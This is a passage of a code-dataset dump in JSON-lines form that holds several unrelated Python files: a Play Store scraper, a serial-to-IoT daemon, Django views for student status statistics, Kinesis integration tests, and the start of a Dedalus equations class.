"usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 183, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 186, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 188, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 230, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 230, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 231, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 235, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 238, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 238, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 240, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 240, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 241, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 241, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.maximum.accumulate", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 253, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 254, "usage_type": "call"}]} {"seq_id": "41616763326", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nimport csv\nimport os\nfrom scrapy.http import Request\nimport requests\nimport bs4\nfrom playstorev2.items import Playstorev2Item\n\n\nclass PlayVer2Spider(scrapy.Spider):\n name = 'play_ver2'\n allowed_domains = ['https://play.google.com']\n start_urls = ['http://https://play.google.com/']\n \n \n \n def start_requests(self):\n \"\"\"Read keywords from keywords file amd construct the search URL\"\"\"\n\n with open(os.path.join(os.path.dirname(__file__), \"../resources/keywords.csv\")) as search_keywords:\n for keyword in csv.DictReader(search_keywords):\n search_text=keyword[\"keyword\"]\n url=\"https://play.google.com/store/{0}\".format(search_text)\n # The meta is used to send our search text into the parser as metadata\n# for i in range(len(response.xpath(\"//div[@class='W9yFB']/a/@href\").extract())):\n yield scrapy.Request(url, callback = self.parse)\n# , meta = {\"search_text\": search_text})\n\n def parse(self, response):\n \n item= Playstorev2Item()\n for i in range(len(response.xpath(\"//div[@class='WsMG1c nnK0zc']/text()\").extract())):\n item['App']= response.xpath(\"//div[@class='WsMG1c nnK0zc']/text()\").extract()[i]\n item['Developer'] = response.xpath(\"//div[@class='KoLSrc']/text()\").extract()[i]\n item['Rating']= response.xpath(\"//div[@class='pf5lIe']/div/@aria-label\").extract()[i][6:9] \n item['Price']= response.xpath(\"//span[@class='VfPpfd ZdBevf i5DZme']/span/text()\").extract()[i] \n \n item['App']=''.join(item['App']).strip() \n item['Developer']=''.join(item['Developer']).strip() \n item['Rating']=''.join(item['Rating']).strip()\n item['Price']= ''.join(item['Price']).strip()\n meta = {'item': item}\n url1=''.join(self.allowed_domains)+response.xpath(\"//div[@class='b8cIId ReQCgd Q9MA7b']/a/@href\").extract()[i]\n \n yield Request(url1, meta=meta, callback=self.parse_item_2,dont_filter=True)\n \n \n def parse_item_2(self, response):\n item = Playstorev2Item(response.meta['item'])\n item['Reviews']=response.xpath(\"//span[@class='AYi5wd TBRnV']/span/text()\").extract()\n \n yield item\n \n \n# yield item\n", "repo_name": "axiom-technology-group/project_akash", "sub_path": "PlaystoreV2/playstorev2/spiders/play_ver2.py", "file_name": "play_ver2.py", "file_ext": "py", "file_size_in_byte": 2419, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scrapy.Spider", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 21, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 22, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 27, "usage_type": "call"}, {"api_name": "playstorev2.items.Playstorev2Item", "line_number": 32, "usage_type": "call"}, {"api_name": "scrapy.http.Request", "line_number": 46, "usage_type": "call"}, {"api_name": "playstorev2.items.Playstorev2Item", "line_number": 50, "usage_type": "call"}]} {"seq_id": "43838762294", "text": "#!/usr/bin/python3\n\n# uart2IoTd - Daemon \n# - Read serial data from IoT devices, check/parse packet and push to IoT server\n#\n#\n# (C) 2019 Petr KLOSKO\n# https://www.klosko.net/\n\nimport serial\nimport time\nimport datetime\nimport urllib.request\nimport logging\nimport logging.handlers\nimport sys\nimport os\nimport argparse\nimport syslog\n\n\n# Settings and Defaults\nSW_NAME = \"uart2IoTd.py\"\nSW_VERSION = \"20191103-1\"\nSW_MACHINE = \"omnia.home\" # Machine ID/name\nSER_PORT = \"/dev/ttyUSB0\" # Serial port - COMx[win], /dev/ttyX[Linux]\nSER_BAUD = 9600 # Baudrate\nFW_VER = 20180000 # Firmware version prefix , tinny uses only 2 bytes\nLOG_FILENAME = \"/var/log/uart2IoTd.log\" # File name \nLOG_LEVEL = logging.INFO # Could be e.g. \"INFO\", DEBUG\" or \"WARNING\"\nDEBUG = False # For debug mode ste to True\nDAEMON = False # For Daemno mode ste to True - auto setting in main(void)\n\nREST_API = {'host' : 'http://www.klosko.net', # Change to you URI\n 'method' : '/push/?', # Push method [API]\n 'ua' : 'IoTtinny13.' # User agent prefix\n }\n \n# Known devices description and values/infos\n# 1: Key = DeviceID\n# 0: MCU type\n# 1: Connection type\n# 2: HW desription, sensors, etc.\n# 3: REST API Values to send | Key: position in the packet\n# 0: Value NAME / ?NAME=\n# 1: Value dividier\n# \nDEVICES = {32: [\"tiny13\", \"Cable\", \"ATtiny13-E32-828-pl2302\", {7: [\"bc\", 1] , 9:[\"pc\",1]}],\n 33: [\"tiny13\", \"LoRaWAN\", \"ATtiny13-E32-828;Sensor:DS18B20+ADC\", {7: [\"t\", 100], 9:[\"ub\",100]}]\n }\n\n\ndef l(message):\n global DAEMON\n if DAEMON:\n syslog.syslog(message)\n else:\n sys.stderr.write(message + \"\\n\")\n\n\n\ndef run():\n global SW_NAME, SW_VERSION, SW_MACHINE, SER_PORT, SER_BAUD, REST_API, FW_VER, LOG_FILENAME, LOG_LEVEL, DEBUG, DEVICES\n\n# Define and parse command line arguments\n parser = argparse.ArgumentParser(description=SW_NAME+\" v.\"+SW_VERSION+\" Parse and send serial data to \"+REST_API['host'])\n parser.add_argument(\"-l\", \"--log\", help=\"File to write log to (default '\" + LOG_FILENAME + \"')\")\n parser.add_argument(\"-p\", \"--port\", help=\"Serial port interface (default '\" + SER_PORT + \"')\")\n parser.add_argument(\"-d\", \"--debug\", help=\"Prin output to stdout (default 'False')\")\n\n# If the log file, port, and debug switch is specified on the command line then override the defaults\n args = parser.parse_args()\n if args.log:\n LOG_FILENAME = args.log\n\n if args.port:\n SER_PORT = args.port\n\n if args.debug:\n DEBUG = args.debug\n\n logger = logging.getLogger(__name__)\n logger.setLevel(LOG_LEVEL)\n handler = logging.handlers.TimedRotatingFileHandler(LOG_FILENAME, when=\"midnight\", backupCount=3)\n formatter = logging.Formatter('%(asctime)s %(levelname)-8s %(message)s')\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n\n class MyLogger(object):\n def __init__(self, logger, level):\n \"\"\"Needs a logger and a logger level.\"\"\"\n self.logger = logger\n self.level = level\n\n def write(self, message):\n # Only log if there is a message (not just a new line)\n if message.rstrip() != \"\":\n self.logger.log(self.level, message.rstrip())\n\n def flush(self):\n pass\n\n if (DEBUG == False):\n# Replace stdout with logging to file\n sys.stdout = MyLogger(logger, logging.INFO)\n sys.stderr = MyLogger(logger, logging.ERROR)\n sys.stderr = MyLogger(logger, logging.DEBUG)\n\n# Packet CRC calculation , based on DALLAS CRC 8\n def _crc8(crc, data):\n crc = (crc ^ data)\n for i in range(0,8):\n if (crc & 0x01):\n crc = ((crc >> 1) ^ 0x8C)\n else:\n crc >>= 1\n return crc\n\n# Calculate pseudo MAC from Device ID\n def _id2mac(devID):\n MAC=\"\";\n for x in range(6): \n MAC = MAC + format(_crc8(x, devID), 'x')\n return MAC\n\n# Check packet validity / struct\n def CheckPacket(packet):\n crc = 0\n for j in range(0,(packet[2])):\n crc = _crc8(crc, packet[j]) \n return (packet[0] == 0xCC and \n packet[1] == 0x55 and \n len(packet) == packet[2] \n and crc == 0 ) \n \n# Push to IoT server via REST API \n def DoHTTPrequest(host, devID, version, interval, status, Sdata):\n global DEBUG\n try:\n IDtxt = _id2mac(devID)\n\n try:\n conn = DEVICES[devID][1]\n except:\n conn = \"Unknown\"\n\n try:\n mcu = DEVICES[devID][0]\n except:\n mcu = \"unknown\"\n\n try:\n device = DEVICES[devID][2]\n except:\n device = \"Unknown\"\n \n url = host + REST_API['method']\n for i in range(len(Sdata)):\n url = url + Sdata[i] + '&'\n\n headers = {}\n headers['User-Agent'] = REST_API['ua'] + \"\" + mcu + \"-\" + format(devID, 'x') + \"-\" + IDtxt\n headers['Device-Info'] = \"Device:\" + device + \\\n \";Status:\" + str(status) + \\\n \";FW:\" + str(version) + \\\n \";SW:\" + SW_NAME+\".v\"+SW_VERSION+\"@\"+SW_MACHINE + \\\n \";Interval:\" + str(interval) + \\\n \";Conn:\" + conn\n req = urllib.request.Request(url, headers = headers)\n resp = urllib.request.urlopen(req)\n if (DEBUG):\n print(headers['User-Agent']) \n print(headers['Device-Info']) \n respData = resp.read()\n print(respData)\n except Exception as e:\n print(str(e)) \n\n# Serial port init/setting \n ser = serial.Serial(\n port=SER_PORT,\\\n baudrate=SER_BAUD,\\\n parity=serial.PARITY_NONE,\\\n stopbits=serial.STOPBITS_ONE,\\\n bytesize=serial.EIGHTBITS,\\\n timeout=0)\n\n print(SW_NAME+\"[v.\"+SW_VERSION+\"]: Start\")\n if (DEBUG):\n print(\"DEBUG MODE\")\n print(\"Connected to: \" + ser.portstr)\n\n# Reading data loop\n data = []\n cnt = 0\n while True:\n for c in ser.read():\n data.append(c)\n if (DEBUG):\n print(' '.join(map(hex, data))) # print all bytes - just for debug\n if (cnt > 2):\n if (cnt == data[2]-1): # get data/packet length\n print(' '.join(map(hex, data))) # just for debug\n if CheckPacket(data):\n devID = data[3] # Device ID\n int = data[4] # Interval\n ver = FW_VER + ((data[5] * 256) + data[6]) # Device sketch version\n Sdata = []\n for i in range(7,10,2): # Fill REST API values\n Sdata.append(DEVICES[devID][3][i][0] + '=' + str('%.2f'%(((data[i] * 256) + data[i+1]) / DEVICES[devID][3][i][1])))\n status = data[11] # Device status\n DoHTTPrequest(REST_API['host'], devID, ver, int, status, Sdata)\n if (DEBUG):\n print(datetime.datetime.now().strftime(\"%b %d %Y %H:%M:%S\") + \" : DevID=\" + str(devID) + \"; Status=\" +str(status) + \"; \" + \" | \".join(Sdata))\n print()\n data = []\n cnt = 0\n break\n cnt += 1\n\n ser.close()\n print(\"Exit\")\n\n# Some functions for daemonize\ndef create_daemon():\n try:\n pid = os.fork()\n l('Serial2IoTd.py Start: %s' % str(pid))\n if pid > 0:\n sys.exit(0)\n\n except OSError as e:\n l('Unable to fork. Error: %s' % str(e))\n sys.exit(1)\n\n run()\n\n\ndef main():\n global DAEMON\n DAEMON = True\n create_daemon()\n\nif __name__ == '__main__':\n main()\n\n", "repo_name": "pklosko/attiny13_thermoE32-868", "sub_path": "router/uart2IoTd.py", "file_name": "uart2IoTd.py", "file_ext": "py", "file_size_in_byte": 7831, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.INFO", "line_number": 30, "usage_type": "attribute"}, {"api_name": "syslog.syslog", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 58, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 58, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 66, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 82, "usage_type": "call"}, {"api_name": "logging.handlers.TimedRotatingFileHandler", "line_number": 84, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 84, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 85, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 106, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 106, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 107, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 107, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 108, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 108, "usage_type": "attribute"}, {"api_name": "urllib.request.request.Request", "line_number": 170, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 170, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 170, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 171, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 171, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 171, "usage_type": "name"}, {"api_name": "serial.Serial", "line_number": 181, "usage_type": "call"}, {"api_name": "serial.PARITY_NONE", "line_number": 184, "usage_type": "attribute"}, {"api_name": "serial.STOPBITS_ONE", "line_number": 185, "usage_type": "attribute"}, {"api_name": "serial.EIGHTBITS", "line_number": 186, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 215, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 215, "usage_type": "attribute"}, {"api_name": "os.fork", "line_number": 228, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 231, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 235, "usage_type": "call"}]} {"seq_id": "30692953161", "text": "import datetime\nfrom io import BytesIO\nfrom operator import le\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.views import View\n\nfrom utils.filter import mid_req\nfrom utils.jwt import decode_jwt_token, vaild_token\nfrom utils.vaild import vaild_int, vaild_datetime\n\nimport xlwt\n\nfrom .models import Status\n\n\n\nclass ExportExcel(View):\n def post(self, request):\n token = request.POST.get('token')\n if(vaild_token(token)):\n ret = decode_jwt_token(token)\n if(ret[\"data\"][\"roledata\"]==\"teacher\"):\n # 仅老师可以导出表情包统计数据\n start_time = request.POST.get('start_time')\n end_time = request.POST.get('end_time')\n \n if(not vaild_datetime(start_time) or not vaild_datetime(end_time)):\n return mid_req(\"时间格式不合法\", code=0)\n \n return mid_req(\"获取下载链接成功\", {\n \"download_url\": \"/emoji/export_excel?token={}&start_time={}&end_time={}\".format(\n token,\n start_time,\n end_time\n )\n })\n\n return mid_req(\"仅老师可以导出Excel\")\n return mid_req(\"token无效\",code=0)\n\n def get(self, request):\n token = request.GET.get('token')\n if(vaild_token(token)):\n ret = decode_jwt_token(token)\n if(ret[\"data\"][\"roledata\"]==\"teacher\"):\n # 仅老师可以导出表情包统计数据\n start_time = request.GET.get('start_time')\n end_time = request.GET.get('end_time')\n \n if(not vaild_datetime(start_time) or not vaild_datetime(end_time)):\n return mid_req(\"时间格式不合法\", code=0)\n\n status = Status.objects.filter(start_time__gte=start_time, start_time__lte=end_time)\n status_lists = []\n for i in status:\n status_lists.append({\n \"user_id\": i.user_id,\n \"status_type\": i.status_type,\n \"start_time\": i.start_time,\n \"end_time\": i.end_time,\n })\n \n if(len(status_lists) == 0):\n return mid_req(\"没有数据\", code=0)\n \n response = HttpResponse(content_type='application/vnd.ms-excel')\n response['Content-Disposition'] = 'attachment;filename=device_data.xls'\n ws = xlwt.Workbook(encoding='utf-8')\n w = ws.add_sheet('学生状态数据')\n w.write(0, 0, u'用户ID')\n w.write(0, 1, u'状态')\n w.write(0, 2, u'开始时间')\n w.write(0, 3, u'结束时间')\n excel_row = 1\n for obj in status_lists:\n w.write(excel_row, 0, obj[\"user_id\"])\n w.write(excel_row, 1, obj[\"status_type\"])\n w.write(excel_row, 2, obj[\"start_time\"].strftime(\"%Y-%m-%d %H:%M\") if obj[\"start_time\"] else \"\")\n w.write(excel_row, 3, obj[\"end_time\"].strftime(\"%Y-%m-%d %H:%M\") if obj[\"end_time\"] else \"\")\n excel_row += 1\n # 写出到IO\n output = BytesIO()\n ws.save(output)\n # 重新定位到开始\n output.seek(0)\n response.write(output.getvalue())\n return response\n return mid_req(\"仅老师可以导出Excel\")\n return mid_req(\"token无效\",code=0)\n\n# Create your views here.\nclass SetStatus(View):\n def get(self, request):\n return mid_req(\"GET方法不被允许\")\n def post(self, request):\n token = request.POST.get('token')\n if(vaild_token(token)):\n ret = decode_jwt_token(token)\n if(ret[\"data\"][\"roledata\"]==\"admin\" or ret[\"data\"][\"roledata\"]==\"teacher\"):\n return mid_req(\"仅学生可以设置状态\")\n\n if(not vaild_int(request.POST.get('type'), [1,2,3,4,5,6])):\n return mid_req(\"状态类型type不合法\", code =0)\n\n # 更新此前所有的状态\n previous_status = Status.objects.filter(user_id=ret[\"data\"][\"user_id\"], end_time=None)\n if(len(previous_status) != 0):\n previous_status.all().update(end_time=datetime.datetime.now())\n\n new_status = Status(\n user_id = ret[\"data\"][\"user_id\"],\n status_type = request.POST.get('type'),\n start_time = datetime.datetime.now(),\n )\n new_status.save()\n return mid_req(ret)\n return mid_req(\"token无效\",code=0)\n\nclass GetStatus(View):\n def get(self, request):\n return mid_req(\"GET方法不被允许\")\n def post(self, request):\n token = request.POST.get('token')\n if(vaild_token(token)):\n ret = decode_jwt_token(token)\n if(ret[\"data\"][\"roledata\"]==\"teacher\"):\n # 仅老师可以获得表情包统计数据\n start_time = request.POST.get('start_time')\n end_time = request.POST.get('end_time')\n \n if(not vaild_datetime(start_time) or not vaild_datetime(end_time)):\n return mid_req(\"时间格式不合法\", code=0)\n\n status = Status.objects.filter(start_time__gte=start_time, start_time__lte=end_time)\n status_lists = []\n for i in status:\n status_lists.append({\n \"user_id\": i.user_id,\n \"status_type\": i.status_type,\n \"start_time\": i.start_time,\n \"end_time\": i.end_time,\n })\n \n if(len(status_lists) == 0):\n return mid_req(\"没有数据\", code=0)\n \n # 对表情包数据进行统计\n emoji_num = [0,0,0,0,0,0]\n for i in status_lists:\n emoji_num[i[\"status_type\"]-1] += 1\n\n total_num = sum(emoji_num)\n avg_score = (1*emoji_num[0]+2*emoji_num[1]+3*emoji_num[2]+4*emoji_num[3]+5*emoji_num[4]+6*emoji_num[5])/total_num\n var_score = ((1-avg_score)**2*emoji_num[0]+(2-avg_score)**2*emoji_num[1]+(3-avg_score)**2*emoji_num[2]+(4-avg_score)**2*emoji_num[3]+(5-avg_score)**2*emoji_num[4]+(6-avg_score)**2*emoji_num[5])/total_num\n\n\n return mid_req(\"操作成功\", {\n \"emoji_num\": emoji_num, \n \"total_num\": total_num, \n \"avg_score\": round(avg_score, 2), \n \"var_score\": round(var_score, 2)\n })\n return mid_req(\"你的权限不够\")\n return mid_req(\"token无效\",code=0)", "repo_name": "xusun0623/ustc-emotion-backend", "sub_path": "Emoji/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7007, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.views.View", "line_number": 18, "usage_type": "name"}, {"api_name": "utils.jwt.vaild_token", "line_number": 21, "usage_type": "call"}, {"api_name": "utils.jwt.decode_jwt_token", "line_number": 22, "usage_type": "call"}, {"api_name": "utils.vaild.vaild_datetime", "line_number": 28, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 29, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 31, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 40, "usage_type": "call"}, {"api_name": "utils.jwt.vaild_token", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.jwt.decode_jwt_token", "line_number": 45, "usage_type": "call"}, {"api_name": "utils.vaild.vaild_datetime", "line_number": 51, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Status.objects.filter", "line_number": 54, "usage_type": "call"}, {"api_name": "models.Status.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "models.Status", "line_number": 54, "usage_type": "name"}, {"api_name": "utils.filter.mid_req", "line_number": 65, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 67, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 69, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 83, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 89, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 90, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 93, "usage_type": "name"}, {"api_name": "utils.filter.mid_req", "line_number": 95, "usage_type": "call"}, {"api_name": "utils.jwt.vaild_token", "line_number": 98, "usage_type": "call"}, {"api_name": "utils.jwt.decode_jwt_token", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 101, "usage_type": "call"}, {"api_name": "utils.vaild.vaild_int", "line_number": 103, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 104, "usage_type": "call"}, {"api_name": "models.Status.objects.filter", "line_number": 107, "usage_type": "call"}, {"api_name": "models.Status.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "models.Status", "line_number": 107, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 109, "usage_type": "attribute"}, {"api_name": "models.Status", "line_number": 111, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 114, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 114, "usage_type": "attribute"}, {"api_name": "utils.filter.mid_req", "line_number": 117, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 118, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 120, "usage_type": "name"}, {"api_name": "utils.filter.mid_req", "line_number": 122, "usage_type": "call"}, {"api_name": "utils.jwt.vaild_token", "line_number": 125, "usage_type": "call"}, {"api_name": "utils.jwt.decode_jwt_token", "line_number": 126, "usage_type": "call"}, {"api_name": "utils.vaild.vaild_datetime", "line_number": 132, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 133, "usage_type": "call"}, {"api_name": "models.Status.objects.filter", "line_number": 135, "usage_type": "call"}, {"api_name": "models.Status.objects", "line_number": 135, "usage_type": "attribute"}, {"api_name": "models.Status", "line_number": 135, "usage_type": "name"}, {"api_name": "utils.filter.mid_req", "line_number": 146, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 158, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 164, "usage_type": "call"}, {"api_name": "utils.filter.mid_req", "line_number": 165, "usage_type": "call"}]} {"seq_id": "70178499453", "text": "\"\"\"Test creating and deleting and environment.\"\"\"\n\n\nfrom dateutil.parser import parse as parse_datetime\nimport gzip\nimport imp\nimport pytest\nimport uuid\n\nimport analytics\nfrom kinesisutils.kinesisutils import KinesisGenerator\n\n\n@pytest.mark.parametrize(\"uid, type, properties, endpoint\", [\n [str(uuid.uuid4()), \"Signed Up\", {\"prop1\": \"value1\"}, \"/client\"],\n [str(uuid.uuid4()), \"Booked\", {\"prop2\": \"value2\"}, \"/server\"]\n ])\ndef test_new_user(uid, type, properties, endpoint, api_root, api_key, streams):\n \"\"\"Test processing a new user.\"\"\"\n\n kg_input = KinesisGenerator(streams.input, timeout=5)\n kg_output = KinesisGenerator(streams.output, timeout=10)\n # Cloudwatch logs automatically compresses with GZIP all records before \n # delivering them to Kinesis.\n kg_log = KinesisGenerator(streams.log, timeout=30,\n preprocess=gzip.decompress)\n # Forget the current analytics endpoint setting\n imp.reload(analytics)\n analytics.write_key = api_key\n analytics.endpoint = api_root + endpoint\n analytics.track(uid, type, properties)\n recs_input = [rec for rec in kg_input]\n recs_output = [rec for rec in kg_output]\n\n recs_log = [x for x in _get_log_events(kg_log)\n if x[\"message\"].find(\"New user\") > -1]\n assert len(recs_input) == 1\n assert len(recs_output) == 1\n assert len(recs_log) == 1\n assert \"sentAt\" in recs_input[0] and \"context\" in recs_input[0] \\\n and \"event\" in recs_input[0]\n assert parse_datetime(recs_input[0][\"sentAt\"])\n assert recs_input[0][\"event\"][\"userId\"] == uid\n assert \"userName\" not in recs_input[0] and \"user_name\" in recs_output[0]\n\n\n@pytest.mark.parametrize(\"uid, type, props, endpoint\", [\n [str(uuid.uuid4()), \"Signed Up\", {\"prop1\": \"value1\"}, \"/server\"],\n [str(uuid.uuid4()), \"Booked\", {\"prop2\": \"value2\"}, \"/client\"]\n ])\ndef test_seen_user(uid, type, props, endpoint, api_root, api_key, streams):\n \"\"\"Test processing an already seen user.\"\"\"\n\n imp.reload(analytics)\n analytics.write_key = api_key\n analytics.endpoint = api_root + endpoint\n kg_log = KinesisGenerator(streams.log, timeout=30,\n preprocess=gzip.decompress)\n analytics.track(uid, type, props)\n analytics.track(uid, type, props)\n recs_log = [x for x in _get_log_events(kg_log)\n if x[\"message\"].find(\"Already seen user\") > -1]\n assert len(recs_log) == 1\n\n\ndef _get_log_events(kg_logs):\n \"\"\"Get log messages from Cloudwatch logs events.\"\"\"\n msgs = []\n for rec in kg_logs:\n for logev in rec[\"logEvents\"]:\n msgs.append(dict(zip(\n ['level', 'timestamp', 'requestId', 'message'],\n [x.rstrip() for x in logev[\"message\"].split('\\t')])))\n\n return msgs\n", "repo_name": "FindHotel/polku-poc", "sub_path": "tests/integration/test_all.py", "file_name": "test_all.py", "file_ext": "py", "file_size_in_byte": 2793, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "kinesisutils.kinesisutils.KinesisGenerator", "line_number": 21, "usage_type": "call"}, {"api_name": "kinesisutils.kinesisutils.KinesisGenerator", "line_number": 22, "usage_type": "call"}, {"api_name": "kinesisutils.kinesisutils.KinesisGenerator", "line_number": 25, "usage_type": "call"}, {"api_name": "gzip.decompress", "line_number": 26, "usage_type": "attribute"}, {"api_name": "imp.reload", "line_number": 28, "usage_type": "call"}, {"api_name": "analytics.write_key", "line_number": 29, "usage_type": "attribute"}, {"api_name": "analytics.endpoint", "line_number": 30, "usage_type": "attribute"}, {"api_name": "analytics.track", "line_number": 31, "usage_type": "call"}, {"api_name": "dateutil.parser.parse", "line_number": 42, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 14, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 14, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 15, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 16, "usage_type": "call"}, {"api_name": "imp.reload", "line_number": 54, "usage_type": "call"}, {"api_name": "analytics.write_key", "line_number": 55, "usage_type": "attribute"}, {"api_name": "analytics.endpoint", "line_number": 56, "usage_type": "attribute"}, {"api_name": "kinesisutils.kinesisutils.KinesisGenerator", "line_number": 57, "usage_type": "call"}, {"api_name": "gzip.decompress", "line_number": 58, "usage_type": "attribute"}, {"api_name": "analytics.track", "line_number": 59, "usage_type": "call"}, {"api_name": "analytics.track", "line_number": 60, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 47, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 47, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 48, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 49, "usage_type": "call"}]} {"seq_id": "27651270347", "text": "import numpy as np\nfrom mpi4py import MPI\nimport scipy.special as scp\n\nfrom collections import OrderedDict\n\nimport logging\nlogger = logging.getLogger(__name__.split('.')[-1])\n\nfrom dedalus import public as de\n\n\nclass Equations():\n \"\"\"\n A general, abstract class for solving equations in dedalus.\n\n This class can be inherited by other classes to set up specific equation sets, but\n the base (parent) class contains much of the logic we needed regardless (setting\n up the domain, creating a problem or a new non-constant coefficient, etc.)\n\n Attributes:\n compound - If True, z-basis is a set of compound chebyshevs\n dimensions - The dimensionality of the problem (1D, 2D, 3D)\n domain - The dedalus domain on which the problem is being solved\n mesh - The processor mesh over which the problem is being solved\n problem - The Dedalus problem object that is being solved\n problem_type - The type of problem being solved (IVP, EVP)\n x, y, z - 1D NumPy arrays containing the physical coordinates 